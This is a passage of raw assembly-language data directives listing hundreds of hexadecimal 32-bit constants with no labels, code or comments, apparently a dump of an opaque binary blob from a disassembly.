209D8B14h, 0CC13F07Fh, 0EDF1613Eh, 56E8E65h dd 0FBBF5A80h, 20DF7A24h, 70F172DEh, 9FEB5B08h, 785B6FE9h dd 63CC9BBDh, 0E056008Fh, 23F9C08h, 58F4A57Ah, 5BF4EE05h dd 4A9584F9h, 602F4111h, 7C7453F9h, 3E36C106h, 3E321A29h dd 8A4BC8C2h, 31A2D554h, 1E8EE41Dh, 0A3E25E81h, 8D0E05B1h dd 0E6E98F00h, 49F9BAB9h, 24B3D476h, 0D22E7Ah, 0FA665C6Dh dd 0D73C034Fh, 2FB66564h, 34ED457Dh, 0DB31A67Dh, 0AE56F79h dd 0B283B9F8h, 9C851332h, 61A61DA2h, 1CBC1B4Fh, 0E66B1CEBh dd 513043D4h, 0FA6645D4h, 65032123h, 26222945h, 93A2C4B6h dd 25C54026h, 5CE75420h, 6A271F94h, 0F96222Dh, 95499AE5h dd 0B0549FCh, 66929BBh, 0EC0A4B23h, 0E7843A0Fh, 9F3A23A2h dd 0FB5CA588h, 0E13BDE17h, 289D01D7h, 60DDC6B3h, 316447Eh dd 98F96449h, 0B936E141h, 0A7EBB69Dh, 0EE81372Bh, 0EC4B56E9h dd 2802EB6Eh, 0A4783DDh, 0F0FE1420h, 38E3E1Fh, 0C8B317B1h dd 0EAFB0C30h, 0A476059Fh, 0E83780A7h, 0A5C4C145h, 7B0D45F2h dd 0E48E3601h, 0A9D73D3Ch, 0DECE2F26h, 295386A2h, 0B41EE028h dd 0D10A157Ah, 4C7D7D7Ah, 9609BE8Eh, 0D18A77A9h, 96421A06h dd 0ADA70F3Ch, 7682F872h, 79111DD0h, 0D7A4A733h, 787280BDh dd 684E71AFh, 194CBB75h, 554A26F9h, 0D915312h, 22FC69BFh dd 28BE71FEh, 5CF4F945h, 1E11CD62h, 8C6CEEh, 0CCC81E73h dd 2913B893h, 0C787F2E0h, 5E8501EAh, 958E9B93h, 0DAD32AD0h dd 4AA7145Eh, 0D1025793h, 81B9EB7Ah, 6525D36Dh, 61AC14E7h dd 29DEE6C2h, 0B0FD9F16h, 0D17CAACAh, 82FCEC53h, 3D9AD7C6h dd 40CDFEE2h, 6EE94A03h, 58155D55h, 5EA96E93h, 0DA19E83Eh dd 0A576BB12h, 6AF50A66h, 0F5F68EF6h, 0D49F50BFh, 1D27A93Dh dd 72C482F9h, 2678D063h, 0AF92D44Dh, 0C65B0005h, 94787329h dd 7034FEF1h, 71FF75D8h, 91C63538h, 721B09C6h, 0A0D976EFh dd 987304E6h, 0AF955BC0h, 0BB9B56E6h, 79A18B43h, 0BC4B47A6h dd 397426E3h, 0D975662Fh, 0D8390F0h, 9116A75Fh, 0ABDE5AF0h dd 0D945746Eh, 5D97B1F9h, 204185CFh, 68FAEBB3h, 764B8E03h dd 79D41B48h, 0FA2CF6F0h, 7991A2BCh, 90978B70h, 2C382D4Bh dd 0E2A9EAB3h, 0DB113B38h, 9A988139h, 1B3B7552h, 0C515997Bh dd 0FE1F3D71h, 0FF54FBCAh, 35EC1B49h, 16506392h, 1D34B54h dd 44660930h, 6783B643h, 4F2CE667h, 11BEBC7Bh, 0B799FDC2h dd 0F506139Ch, 0B961E3FFh, 0C3B114A4h, 0C900033Ch, 0C33AE046h dd 6B540697h, 0E9F192FAh, 2518BFh, 6965819Bh, 35AC760Eh dd 63DEC7Bh, 0DD6DA6Ch, 0F5F295CCh, 1E7EDED1h, 0F3744C0Ah dd 59AF244Bh, 0E682AB57h, 0D2B50FFCh, 656F4D9h, 0A42160E0h dd 0C08DAC42h, 0B37F4742h, 323CEC9Dh, 0D4C4B77Eh, 28406F77h dd 0F06923F1h, 9F6AADFAh, 107A2ECFh, 0F7D5D724h, 8431A429h dd 0C01E2ABCh, 0BDFA28A8h, 39B9DAD1h, 338B3EB6h, 0CF2BE8A8h dd 34A31B7Ah, 52AABAD4h, 0E7992BBFh, 2DB987Bh, 0C71D6793h dd 0DB4E0A2Fh, 54CB6225h, 7FE33C17h, 0BAE709E7h, 0A7B55DE1h dd 0BAE9DD85h, 222D49EEh, 632164C4h, 23026963h, 0E4A73B94h dd 0F84B765Dh, 7D76AF71h, 84EBAA4Ch, 0A2EAE68Eh, 0AAB82930h dd 59216C3Eh, 77EE6FDBh, 336818AFh, 40A8A574h, 0B9E20B94h dd 0DF6FEB2Fh, 0BCFEA1C8h, 0C042B0D2h, 0F111A5Bh, 67A0E2F9h dd 0F164354Eh, 0E818F80Eh, 7A11DC63h, 2C0A4Ch, 0B5D5A571h dd 8E8E8709h, 8E4C274Eh, 9D36EB87h, 25BCB7CAh, 0AED2AE43h dd 2BFAFEE7h, 90CE70B1h, 4632B975h, 88BF4297h, 0C62504F9h dd 2B72E60Dh, 0B481D0C5h, 0C81CD86Dh, 9F2A36BFh, 912726F7h dd 581755E0h, 7AF9E62Fh, 0EC0B46ECh, 38716654h, 0EA113AAh dd 0ADAD0F69h, 40D3CD51h, 427BABF0h, 0BA06CDAh, 6BC0CDF3h dd 78D2483Dh, 23272C27h, 5CC938D6h, 489D2B6h, 3B31D799h dd 733DC22h, 1FA0C3F2h, 0D1BD1268h, 0B4E25771h, 2C8DBF35h dd 835DE752h, 5AE7652Dh, 0E1D5BA51h, 0A22D2D5Dh, 1B7E2EDBh dd 0E0D6E969h, 80129AD0h, 1443F0C1h, 6230D6Fh, 7D43FBDEh dd 1D4CB6D1h, 1F34A739h, 0CCF865D7h, 0A003CB03h, 8F3A4F57h dd 0C6EB3B85h, 3829E919h, 0E865073Ah, 6EE16F06h, 9C2348F2h dd 6EB3F2CCh, 7C48CB0Ah, 3138A00Bh, 9A8B675Ah, 0C50AA6C2h dd 9E104E9Eh, 35E322D2h, 71B8599Dh, 6E698FE0h, 615C74D7h dd 0D474A83Eh, 3233DE72h, 4E81575Ah, 0BFB6F6F9h, 97A757DBh dd 0D0747FD9h, 0EDBE7544h, 6DAF1684h, 0BD6E590Ah, 0F9BFB099h dd 0A6151B78h, 0BBDEF929h, 0A8D61ACh, 0A952340Bh, 67089078h dd 63100096h, 4CC694C9h, 5BBD6F44h, 0ECC0CE9Eh, 62F2D334h dd 0D0010DF8h, 0EC3805CBh, 762EE709h, 1685FF65h, 154E4041h dd 74715D62h, 46DF67FEh, 3CDD2CCBh, 0DC064C38h, 31273F32h dd 873DB0EEh, 0C2714E4Dh, 5A6F5Dh, 1C2EA94h, 0F0E97A98h dd 0BCF0ABA8h, 501A1FEDh, 9FE853A9h, 2CFA7D1Ah, 16618A79h dd 0ABF0391Fh, 4C63412Dh, 9F3B00B9h, 9785A484h, 0BA8531B6h dd 0F148DBF2h, 0DCCB77B7h, 6D0A6837h, 0E6BAE924h, 267436Fh dd 26F82C18h, 5587D28Dh, 0AFFA2F67h, 6D56EFFDh, 4DF3C565h dd 0EED0F79h, 0EB289B29h, 5AD3976Eh, 0C9FE37A7h, 0FFA2EDCDh dd 75302627h, 0CA6EFD2h, 0C5F1B1FCh, 2B831057h, 7B05DB47h dd 4804E776h, 752DD15Eh, 0ECF3AA47h, 0DADFBA5Bh, 7E13E021h dd 593696E0h, 667611AEh, 0FBBEDEE3h, 0C762BDAh, 9B90CB15h dd 5FBFC371h, 0B16091CBh, 0B2050947h, 8EEE4241h, 0C3F0B42h dd 37A62C03h, 582E3462h, 0F3E8F2D3h, 65D9D9D5h, 8465403Eh dd 8C126E9Bh, 11598AADh, 0A7DAEEFh, 669CF69Dh, 54B0A6BFh dd 1132CFDCh, 0EA1C8F49h, 603B9A73h, 8CB9F2D2h, 0B1E3D31Ch dd 4AA8C488h, 118EB6A1h, 3D444B5h, 1E82E15Ah, 23895DC4h dd 0A38C9AB1h, 18174D6Ch, 9C34CCFh, 7827214h, 0AF7661A7h dd 1DB4CCE9h, 204BC3Fh, 424193BFh, 2C32E599h, 2FEE962h dd 0E917BBE2h, 0C8FC74CAh, 92D71D8Eh, 0FA9C2AD0h, 0E84F90F3h dd 0DB66C92Bh, 0C8351C6Fh, 2D5D26EFh, 7981989Fh, 219D2A9Dh dd 0C7254192h, 3E0EC097h, 0EA5D729Dh, 0BDC2029Dh, 1162FB30h dd 0D827407Eh, 4AB9500Fh, 0C97E9A5Eh, 819A566Dh, 0CF3BD86Fh dd 28678A8h, 0D67E1BD5h, 7EA3E00Bh, 0DDC8811Fh, 2B587296h dd 184B650h, 87BAE631h, 93E22343h, 0A5846EF6h, 0C7262EC3h dd 0FFC58579h, 700A60F0h, 923588F8h, 3B4E76C5h, 0B412FB3h dd 92143EADh, 0C5F98BBAh, 53A349Fh, 0D1BAECBFh, 0FBA022D3h dd 50801DC8h, 1A93C5C7h, 885D2D78h, 0F6C9E288h, 215E6A3Eh dd 0DD8EB794h, 371F1BF8h, 7411E723h, 419D6F28h, 0E3C0C770h dd 2539D43Ch, 0B73A38E5h, 841DC9F8h, 0CA88F200h, 0D2454A44h dd 6004FC6Ch, 1A64793Ah, 74FF880Dh, 9A57DC1Dh, 78DDE26Bh dd 0FF7D22B1h, 45C82EB6h, 0BCC559CEh, 19042804h, 7EC97544h dd 83712B69h, 0EF0E62A3h, 2D2E62A7h, 7F4F4D7Fh, 0B001B4C6h dd 0A4ADFAD1h, 4396ECB7h dd 0AD79812h, 0F7F28726h, 0B2E0E501h, 73B6F6F1h, 0BE550668h dd 5254FA22h, 258797h, 448C73B0h, 725712CEh, 22FC0ACAh dd 9EEFF23Fh, 0BF5E2527h, 9AC2109Bh, 0B63F9E9Ch, 418641F2h dd 0B404E4E4h, 29971387h, 7D5F1E17h, 0FEBCA371h, 84F035ECh dd 1D3BDDE7h, 36F9CE3h, 0AA4E6B43h, 62546A4Bh, 6AC71B76h dd 0AA42296Ah, 1ECF772h, 0B820013Ch, 6117E0EAh, 95F67B2Bh dd 815EF050h, 0A7C5F8E4h, 5E3FD7F7h, 72CE0AE7h, 620673D2h dd 37E6E908h, 0B480D53Fh, 0E8908CB1h, 0C5389670h, 33CB9616h dd 73E32F91h, 4DAC81B0h, 7E0157DAh, 4B504159h, 0EDD2C9D1h dd 0FD424A76h, 0A1638B6h, 6A3DB5C1h, 68E7BDC0h, 0D407F7F0h dd 9FAE196Eh, 977E699Eh, 0C2BA755Ah, 0E3E50B61h, 0EE729AFDh dd 0E6F02CBFh, 0C87AE353h, 0D9E3D64Fh, 7419F1F3h, 0F2CFA4C6h dd 9028C727h, 0A7251F64h, 0B730EDE8h, 0D6CCB68Bh, 0F76092DBh dd 0AD415556h, 0ADA01A47h, 0BE9E1A21h, 0D6BBCB4Bh, 27650637h dd 8A81EDC5h, 69A612D7h, 0F3EFD34Dh, 0E97800DEh, 73E27EA2h dd 0FCD4240Dh, 5B260AA8h, 77572FE3h, 3B501B47h, 7F24CC1Bh dd 4C53A20Dh, 35771B6Dh, 0C9E77F97h, 0DAA82C6Ah, 6EB70D0Bh dd 2166D802h, 0F3607576h, 8389C986h, 0A6B76859h, 520AEEB4h dd 58E6B1C2h, 3E8A350h, 0AC575D91h, 7326491Ah, 55130CB0h dd 5BB1B88Ah, 0A169BBA9h, 7A9765B6h, 20AC46C2h, 0EEAEA2DBh dd 44201B42h, 0BB6383F3h, 16D16EB0h, 90080523h, 35071D0Eh dd 4AC67481h, 0A6AF756Dh, 0B3C518FDh, 11B34D77h, 0A70BC935h dd 0DF5E6F92h, 0C6BB8469h, 543965F5h, 388283D2h, 0DAED4776h dd 3CD2FBB7h, 0BEA052D1h, 4007B6E5h, 717C3A33h, 64DABBFh dd 0DC1FCCDCh, 0FDE67751h, 8531C6B2h, 0D60CA9CCh, 2F84295Eh dd 0D6E2CD66h, 2277EB57h, 7D11FB64h, 7AF7BF96h, 0BEC068ECh dd 112B8D37h, 3CA3959Eh, 0AFEDEAEAh, 0EA0FEDC7h, 7D963B3Dh dd 44655791h, 45E7192Dh, 5F0ABAC6h, 8E410B5Ah, 0FA6347Eh dd 0C8D2B65Eh, 9DF68C74h, 250B8EF9h, 49CF6E0Fh, 527132D3h dd 55EF89C7h, 8370059Dh, 58AA27ADh, 0ED0CD1D5h, 0FC1D600Fh dd 0E60C2402h, 0E6CBD9C1h, 9D8BA0ACh, 0BDBECE66h, 0D22FE6F6h dd 6ABC65B5h, 758B8FA4h, 4CC8B948h, 70274D01h, 0F5A67770h dd 8E3D9F0Bh, 0A576917h, 0ACCE787Fh, 0DED06ABBh, 0C48DBDAh dd 76BE0FADh, 1E9AFD15h, 69452138h, 0B6C65BDDh, 94AB185h dd 6BBE0FF0h, 0D153644Fh, 3CCDDCFBh, 460704DDh, 8C2669FDh dd 9E5790E2h, 5902E8F2h, 0D0E77558h, 2438B040h, 4715FD7Ch dd 0D23DAC4h, 0FA6C0135h, 8E740117h, 7B3E1F31h, 8006F17Ah dd 7C33383Dh, 7DFA38ACh, 0BEB7843Eh, 9D04B0A5h, 0E35C67E2h dd 9483FFDFh, 3E228C4h, 9BC11A76h, 9202E3D0h, 0E904C05Ch dd 3DFFA09Dh, 0DBC23DDCh, 0BCDFB939h, 0D09C4261h, 4CDF4B14h dd 390850A0h, 8508E6A8h, 0BACC7116h, 63594EDFh, 0C82B45h dd 93292F89h, 6CE18121h, 684F7C17h, 0A45EA6EEh, 0F888B5B1h dd 0F1AB8F71h, 13B46696h, 581FEA1h, 2D85575Fh, 0D1AE485Ah dd 0CCF06AAAh, 88A5039Ah, 0F8B1EB31h, 10C11557h, 6A62079Bh dd 0BD465BB0h, 0B96A6D67h, 0C573C287h, 723E50DCh, 42B33118h dd 0CA264F6Ah, 3154BC6Ah, 2CEDF915h, 9B239E9h, 613078A2h dd 41536BB1h, 0A5BD74F8h, 7F19E854h, 42B538F7h, 0D1440216h dd 0A0D2EEFCh, 610B6CA2h, 0BF16237Bh, 2A0BEB81h, 9F641815h dd 5066B39Dh, 0FAC1674Fh, 1ABD7449h, 0C40AF4B1h, 0DE1B5FF8h dd 54D7AA8Dh, 17D93339h, 0ABF09B6Bh, 91740340h, 0DFD6097Eh dd 0A15FEB26h, 0D156FCCFh, 6498539Eh, 7E9D9DFFh, 905D775Eh dd 4457F36h, 0ECF9DE80h, 9455211Dh, 6CC7B52Ah, 0C49A950Bh dd 0C4C08B70h, 8D9F1DAEh, 88888E8Ch, 0E6564E6Fh, 689E04DBh dd 5D1EE537h, 34FA9140h, 49E09121h, 0E4468743h, 0F66FC522h dd 24D72A02h, 605811DDh, 0BEC8CA8Ah, 0B6D0BBE2h, 0AC658AE9h dd 34839C1Bh, 5B7DD7FAh, 0EB839C77h, 0EAEB0155h, 0E95FF89Bh dd 27085008h, 57B47DA2h, 5DBEA8D7h, 0A9AB4F47h, 51762441h dd 0A9265F46h, 0B7395755h, 31C2E082h, 9A9D12F7h, 4C427A94h dd 0CBEB716Fh, 92DAEFC8h, 0F16EF0FCh, 73FDFC16h, 0C8256AE7h dd 181109B3h, 0E877B8B8h, 8E45BCBBh, 766A36AAh, 0F5D8B249h dd 0ED899DC4h, 2A9775C3h, 2E524886h, 9B6059F1h, 173439E4h dd 88AEA7E0h, 0C3DE23C5h, 888A05FDh, 4F8E26B1h, 949C4B7h dd 0A642D174h, 4B945FF1h, 7B588FFFh, 0D8438BBFh, 758D9B22h dd 1209612h, 9741C845h, 0FE68423Bh, 66D7EC42h, 723863FDh dd 0BFCA0178h, 8D98EAB0h, 0C28A58C6h, 0F635675h, 1DD2EBB6h dd 87D49620h, 99F80C50h, 49DBBF9Ch, 0C6599816h, 0D26A06D9h dd 0B3157078h, 4544C401h, 0FDEE0FE8h, 0CC3EA191h, 6343E203h dd 0FFED138Ch, 0CB03B62Dh, 0EA32D84Ah, 6691442Ch, 7065B4AAh dd 0DE2FFAEDh, 0CB377E46h, 315034D2h, 91743F3Ah, 0C778F969h dd 0B15E5DC5h, 37209929h, 0F1AEE064h, 0A66F080Ah, 2480E95Eh dd 0BB710B05h, 8B49D4BAh, 0F6DA711Bh, 0FEF978C7h, 0E1DF460Dh dd 0DE6923E8h, 81AE2603h, 978B73AEh, 0CDE5B082h, 5DFF59ABh dd 54BB949Eh, 0B7E3D019h, 693A00EAh, 0F14A806Bh, 177EC14Ah dd 56615F34h, 0A50A9794h, 0D217B923h, 3123013Dh, 26EFA94Bh dd 81F2AB52h, 0DD19B4DDh, 596A8593h, 9A4C3F65h, 44A35CF5h dd 8EEAAAE8h, 0E51AB02h, 0DFBCF62Eh, 51D731C5h, 8C332EEBh dd 5FB6E007h, 0BF9442CFh, 0EA61E81Bh, 48F783Eh, 0FEBF6766h dd 3A6A0135h, 0CDD61505h, 0BF956C08h, 981786CEh, 18BD9D0Bh dd 872BD6E8h, 340B011Fh, 0F4453FF1h, 72F78624h, 0D168E404h dd 8C7B620Ch, 4C18F256h, 740836D4h, 0AA8B007h, 2BBF12C6h dd 0DC31AE4Eh, 4F565DCAh, 9E32BFDDh, 0D77F7E34h, 6D8D5153h dd 0D134C26h, 970BC1D0h, 879E7AC2h, 70890EA6h, 0A2E83A74h dd 0A9B2BA62h, 91F31C27h, 7681F5EAh, 6A8BB20Fh, 0B990E756h dd 0FDFE136Ch, 0BD36C51h, 6A77FD64h, 7B692B8Ah, 0B3C04715h dd 2FAFC538h, 2F78C1BFh, 2C46D098h, 71048142h, 44A9A53Dh dd 8570B2D3h, 0D3C53B7Fh, 99DB52Fh, 9FAFADF3h, 0E438C703h dd 4940CA54h, 0C7F6B255h, 0CA77CBC5h, 0A35A067Dh, 925EF71Dh dd 0DE761CA5h, 79C05EB8h, 9462C907h, 0A097B427h, 7990C273h dd 4BAD3E4Ah, 9A03B700h, 5A09148Bh, 163965BFh, 0D2CBB111h dd 9C58EF1Dh, 58FC06E8h, 2BEF7251h, 792094A4h, 0D63B1E95h dd 0B2E321BDh, 54459A01h, 47ED1175h, 4E5588E2h, 0CC1B7E95h dd 0BCDE9216h, 65A24029h, 9B65DEC3h, 8EC799DDh, 397FCEF0h dd 39B148C3h, 4325B02Fh, 1FF30AF9h, 54C79943h, 0A1D54DC6h dd 0B8E6D04Fh, 0FCD553F6h, 7C25CE92h, 0F66C26E5h, 20202085h dd 53E1ED78h, 711C7A60h, 213C59EDh, 0E068CD37h, 7D19D637h dd 0FDB7A46Eh, 373F25Fh, 59B51421h, 0EABC09Ah, 73420972h dd 0D581A2D6h, 9CE6B05Ch, 0FF127F12h, 4797908Fh, 75DBBFABh dd 0B6E98F05h, 0F2CC5359h, 0F4FC78CDh, 8D11A124h, 9BA9D630h dd 0FB0BB803h, 0BD02C5Bh, 0D601315Ch, 0C79BC005h, 0E565EFC9h dd 0EA978574h, 0FE582F8Fh, 20AA29A6h, 1292B66Dh, 36074BE0h dd 9C64A4F1h, 17AE60A1h, 4FF56680h, 0CFD943C3h, 0AF44A922h dd 8D4DACD5h, 0CE49E236h, 91DEA65Fh, 2E7DCE8Bh, 17C3C7EEh dd 0CCCE4C6Eh, 548852E1h dd 10913B3Fh, 0FAC0612Fh, 504080E2h, 3C6C637Eh, 0C0B1DC2h dd 2C20641Bh, 0CAF5304Eh, 96D6A582h, 9C839331h, 0F62C6524h dd 837EE38Eh, 85102C08h, 0B5DF3DBEh, 0F51C7777h, 0DA32797Fh dd 0D73C6AC8h, 0F71B1A04h, 0F65B7B17h, 6332D6h, 60E31704h dd 13FD4AD9h, 0E35D7985h, 0FB02C83h, 75F489C2h, 288E5768h dd 16ECA47Eh, 0A1042C3Eh, 920924A1h, 607F6CDh, 54DC59E4h dd 709D8D02h, 57D3F2BFh, 0B51B7916h, 8959D77Dh, 0B10AC6C9h dd 0D1D8E32Eh, 8C647D9Dh, 0C3334958h, 0E788B3C8h, 0C518FDF8h dd 0C0DEADECh, 0F4EF0BB5h, 7F325712h, 35DA7177h, 66517010h dd 0DA6D77EBh, 0FE72AFF5h, 0B4CD089Fh, 4AB35B97h, 8FBACDD9h dd 5828D7Ah, 58AE7B54h, 101316FAh, 19F89AAh, 86B70D63h dd 1AD1A4B9h, 2248A9DBh, 6351244h, 0ECC7D468h, 0FE67A023h dd 0B1DDD923h, 2D494E00h, 0DFC7C989h, 0BA45AB0h, 9B83FAE2h dd 0C3E72B89h, 80BA777Fh, 0A7106ABCh, 4A0170B8h, 0F8CDD057h dd 52FCD8CCh, 30B13A87h, 7657B1Ch, 8E73C169h, 6BB36718h dd 0F187252Eh, 5C2E0E75h, 0F6F64156h, 32D1ED75h, 6E0F584Ah dd 0FADDA41Eh, 4D268C70h, 3FB756Ah, 77B6E18Dh, 210C6FDBh dd 3A08E752h, 3C659D7Eh, 0DD5AAA3Eh, 0DC958C4Ch, 0BB635863h dd 0E108A041h, 0C975037Ch, 3C2B30CCh, 0F62113D4h, 2E730BB6h dd 971BF9C8h, 6BD190ACh, 0DD9AF19Fh, 1F5BC0A6h, 5CC143D0h dd 86B402BFh, 0C5865949h, 42F9E738h, 2562EDh, 8CD2A107h dd 5BCE25EAh, 0E00F77ACh, 0DE3547BFh, 0FA317A76h, 206DB41Eh dd 41390EE1h, 943E2FB7h, 18254F41h, 0CF0A91C1h, 748D8F1Bh dd 4559643Eh, 56824D14h, 0C01DDF71h, 94173F74h, 0D56C2913h dd 3C01ABE0h, 0E6CACBB0h, 2CE5EE81h, 4F367C39h, 0AFFBBFE6h dd 0CCD646FEh, 2D560041h, 5E80C268h, 50AB3CD2h, 3ED002D1h dd 0E53E8E1h, 80190883h, 6C0E0C58h, 0EB792CBh, 0F44BB825h dd 83BCB6FDh, 0F7813B21h, 0E91D9A65h, 87EB06A4h, 0B44D4E81h dd 7C95B262h, 73B50A62h, 29DEB82h, 0C9D03A98h, 1C97CD8h dd 37ECDE48h, 3F5881F0h, 3B5E680Bh, 3F8A4254h, 29C2086Ch dd 0B9B1604Dh, 7C41F79Bh, 0CBCE6775h, 6F2D68AFh, 0FB31D562h dd 0A6C5586Bh, 2D0A3232h, 6E3C2F2h, 894F2D8Eh, 6E14A56Eh dd 9AADA94Ch, 58D5F494h, 24CBE3B8h, 6B1233E1h, 0FB16982Eh dd 8697D22Dh, 892D4F1Ch, 0A2E05E7Dh, 20C5B952h, 74FEEA46h dd 0FD79D441h, 0FE113C46h, 4089AA42h, 1413F3C1h, 76D20032h dd 5F7FEBE5h, 22DB23ECh, 0E70E66A8h, 92D61DCCh, 0D744FF3Ch dd 92991C18h, 4526EEDCh, 2144B42Ah, 0A7BD9613h, 39690C94h dd 0B77C3FEAh, 928E34BFh, 0D071BBE7h, 0E9F0A7CEh, 11203B24h dd 25E008B9h, 0DB9B2875h, 0AC46DAB4h, 80851574h, 1B0C5061h dd 24C5310Ah, 3558AE95h, 46AC7B8Ah, 3E2A226h, 9A6DB3A0h dd 1F7921B3h, 2E2E1312h, 2C978E89h, 0C623D9DFh, 8206FDA0h dd 975AAC83h, 0BBCE307Eh, 81AB9A78h, 0D6DFD326h, 78C7D5ACh dd 709A21E1h, 0E554657Fh, 55179B49h, 766731Fh, 1D28418Ah dd 3B0D569Ah, 0A4088ACCh, 95152FBDh, 6B2BE8F1h, 93C77062h dd 1058E507h, 0B30B05Dh, 1385F0C2h, 1A8BBB9Ah, 4D0DD9D9h dd 71782752h, 0CC914CEFh, 44766993h, 0AD66EAB2h, 8AB02635h dd 9A14C06Fh, 8DDE1h, 0B3A76h, 0D5E4884Eh, 0DDD82E39h dd 0E167B39Fh, 0BBAB68ACh, 1BDFE4CBh, 8F7397B2h, 241648D5h dd 0ADFAAB48h, 83C711B0h, 88DF32B0h, 5120B7EFh, 0B83B84F7h dd 0C147B6C9h, 0A7B98989h, 40C3CDF5h, 0F1603322h, 0FB3EC64Eh dd 5D449D27h, 5E54A24Fh, 3DFD6A66h, 78AD7CF8h, 2A010685h dd 69FE101Bh, 686ED3C0h, 0EF9E84A9h, 2CAB12DEh, 591D59BAh dd 3DE92F32h, 436499E9h, 49F50F1h, 0ABFB4D32h, 0AEF48AB6h dd 5536F3Bh, 0D0C97832h, 77DC974Dh, 0EAF5EFD2h, 0AE7CAFCDh dd 0FAD7A942h, 0ED5C373Fh, 5EE33E41h, 8C48BDB1h, 51F23505h dd 43571CD3h, 0B9461909h, 0E4C09298h, 3440D883h, 7E47C688h dd 2B31E3C1h, 4B2B62FDh, 6F802600h, 0B629522h, 0CEDBC002h dd 939C8991h, 91368932h, 30069EDEh, 0EA7135B7h, 4042B7D6h dd 0DC188261h, 3F20DAD1h, 81EB51ACh, 0AE7B7F0Ah, 4A772984h dd 97B228F5h, 0C6B6EBh, 0BFDD3D17h, 762525F4h, 0C4DC9B04h dd 30FAC904h, 65E7E529h, 453E44DDh, 515BE6B6h, 0BF68C828h dd 0DC7210AFh, 0E009625Bh, 5B49130Dh, 6032455Ch, 0A8E49B84h dd 0D494067Fh, 7C97726Bh, 884C9E14h, 5A2C128Dh, 5B168998h dd 8089EF85h, 2EFF6BCFh, 83C1C396h, 0F310FE54h, 108F8C07h dd 0E1192103h, 12219360h, 7B3E4F1h, 0F782C501h, 0EBBC76A6h dd 91131D1Ah, 92BF1F55h, 13EADFF4h, 254F1E87h, 48E0B8F5h dd 4B0EEE8Ah, 9EDD5DDh, 846670D0h, 42973537h, 0DE050938h dd 0D936F94Bh, 9BE3D352h, 0D295B130h, 0B41AAC0h, 9775BC7h dd 0AAA53B5h, 1AC932EBh, 0C8906280h, 7F5881A2h, 474ABC76h dd 0D82AA0Eh, 4A1923B1h, 0E69E6929h, 51D669BDh, 70CEA307h dd 6E7BB013h, 0EB2A4021h, 4534D3ADh, 0A4C50F06h, 0E1700152h dd 0DC7E042Ah, 5633A88Fh, 8DAD7B46h, 9C5FDE53h, 2D139C3Dh dd 7E50C2A6h, 1C86E15Eh, 88A2B2A8h, 0DF607FE3h, 0A565CC15h dd 3AD9C121h, 9B4B02E2h, 4B6D486Eh, 0FF0CDEBDh, 4C3C46EBh dd 0BF9E782Fh, 8CFD3CDBh, 98F307D2h, 4B212D7Bh, 7692C063h dd 3BC7512Eh, 0BB44B31Bh, 3529DD91h, 7BEC979Eh, 8272AB86h dd 36E83E55h, 579EFF74h, 964A7CD8h, 8EE7C56Ah, 33E3BF79h dd 1E964F3h, 0F1820F8Ch, 0C8541822h, 0B7A9F245h, 0BC0EC183h dd 0C6CEE325h, 1DAEC25Fh, 4D1CC760h, 48A84AC0h, 3C521CFCh dd 2ADE43D6h, 0C379D05h, 6658DB6Ah, 0AA01B240h, 0F9371A4Ch dd 0D18C49DDh, 0A2B3C54Dh, 32F3D236h, 2026D6Dh, 0F5EC6D4Ah dd 0EDBA7814h, 47030C00h, 441C0E3Bh, 7EA472ADh, 0BF152C04h dd 9683C619h, 9699A302h, 7E465AA3h, 0DD5FC73Fh, 4B7F9E46h dd 0F15A859Ch, 206188CFh, 0A6CEAB19h, 51D284E5h, 12209DADh dd 23CF6E13h, 2DD102AFh, 357E82D9h, 0BDA8C23Ah, 0C0C863A0h dd 6406DA09h, 0D975C664h, 42EF9808h, 81735A62h, 115FABB9h dd 7E58866Fh, 56122A7Ah, 42BB2C5Eh, 0E56126BBh, 1E31CB7h dd 0B66D5781h, 0A4C5194h, 0FDD3AF82h, 77E72871h, 0DDACF751h dd 0A847762Bh, 0CA377517h, 5AF0CE6Dh, 34558E5Eh, 0DA4394DBh dd 0C939E49Ch, 6D46757h, 4FA8DA2Bh, 2C4F7F13h, 73421BDAh dd 20D94DC9h, 859B1497h, 0EA48A167h, 0E31BB6AAh, 0A16EFF34h dd 950DB08Dh, 237E09Fh, 0AAD87A02h, 28AF2DE8h, 34288D4Ah dd 1BF153CFh, 3A078AFBh, 4F2B0288h, 80E48FE5h, 0DA3E01Fh dd 0DCE1CDC7h, 1B619668h, 0CA592578h, 0F4603680h, 9CFBD7FBh dd 1A613C3Fh, 0FFC80C06h, 5F0C6E4Eh, 0E0CF664Ch, 270679B2h dd 7D34E531h, 0D39C0E93h, 9E1E3875h, 9F7BAD69h, 0E1E19F2Fh dd 2ECA23BCh, 1A259FA7h, 7FCF92E4h, 2516B8CBh, 9590633Fh dd 0D19B4541h, 852E2CC3h, 11237AD5h, 95D83659h, 0F9F5ADDAh dd 0D4FA107Fh, 495EA90h, 0DD7AEE78h, 0D36B1BB6h, 0D6927A63h dd 87D4DFDEh, 0C5043C4Ch, 458AA3CFh, 48A58144h, 0F5C83E4h dd 0F09C6107h, 45726A11h, 0F21E0C98h, 37CEF503h, 6C6E1B0Eh dd 9EE9C2D5h, 7D088511h, 0D6CAE4BAh, 0B23422D6h, 4B92B6EFh dd 0EF4AB4D5h, 0D269DCE3h dd 74F188A1h, 6837D9DBh, 0A9BEED38h, 0A0779831h, 0B5CFF4E3h dd 0F96F29B7h, 0A662DD4h, 4FB68931h, 63C453A2h, 18FBF1E3h dd 879775AEh, 33912024h, 350BF369h, 0C637C51Ch, 0B1D4E7E2h dd 0D3F042C4h, 6C5E8989h, 2E4E16DEh, 0D1C9B417h, 0FC36BFF7h dd 2307BC57h, 0AED69616h, 0C5A02F01h, 59FB31D8h, 7DB9E5E7h dd 6B73FEC2h, 0C6DE3D6Eh, 0A0BBD4E9h, 9D0B55C6h, 7EF976F1h dd 85FDC068h, 0C17E12EAh, 2EC21E86h, 80785880h, 20CD10F0h dd 37117588h, 8D4B932Ah, 2393C8F6h, 0AEE9272Bh, 0B90BFB4Dh dd 86E123Ah, 0C10A448Bh, 0BD1B35CCh, 0DFF022CBh, 51DDC1CCh dd 0C17799ECh, 0D6CE6C83h, 9C4CB86h, 788F73F8h, 0A054A3BAh dd 603ED369h, 45A6409h, 4B05CC1h, 26784978h, 0A309E360h dd 0CA7281F8h, 648A6467h, 0B81AC953h, 8D4E4C18h, 5029C670h dd 67AD831Ch, 23E2DFD8h, 58609C68h, 76223E4Bh, 0E5ECAE8Fh dd 0FC700ACh, 94412A69h, 582139DCh, 0BC51A33Ah, 69351EABh dd 4C78BDC6h, 0B459107Fh, 6C809F34h, 0E807CE84h, 82A337AEh dd 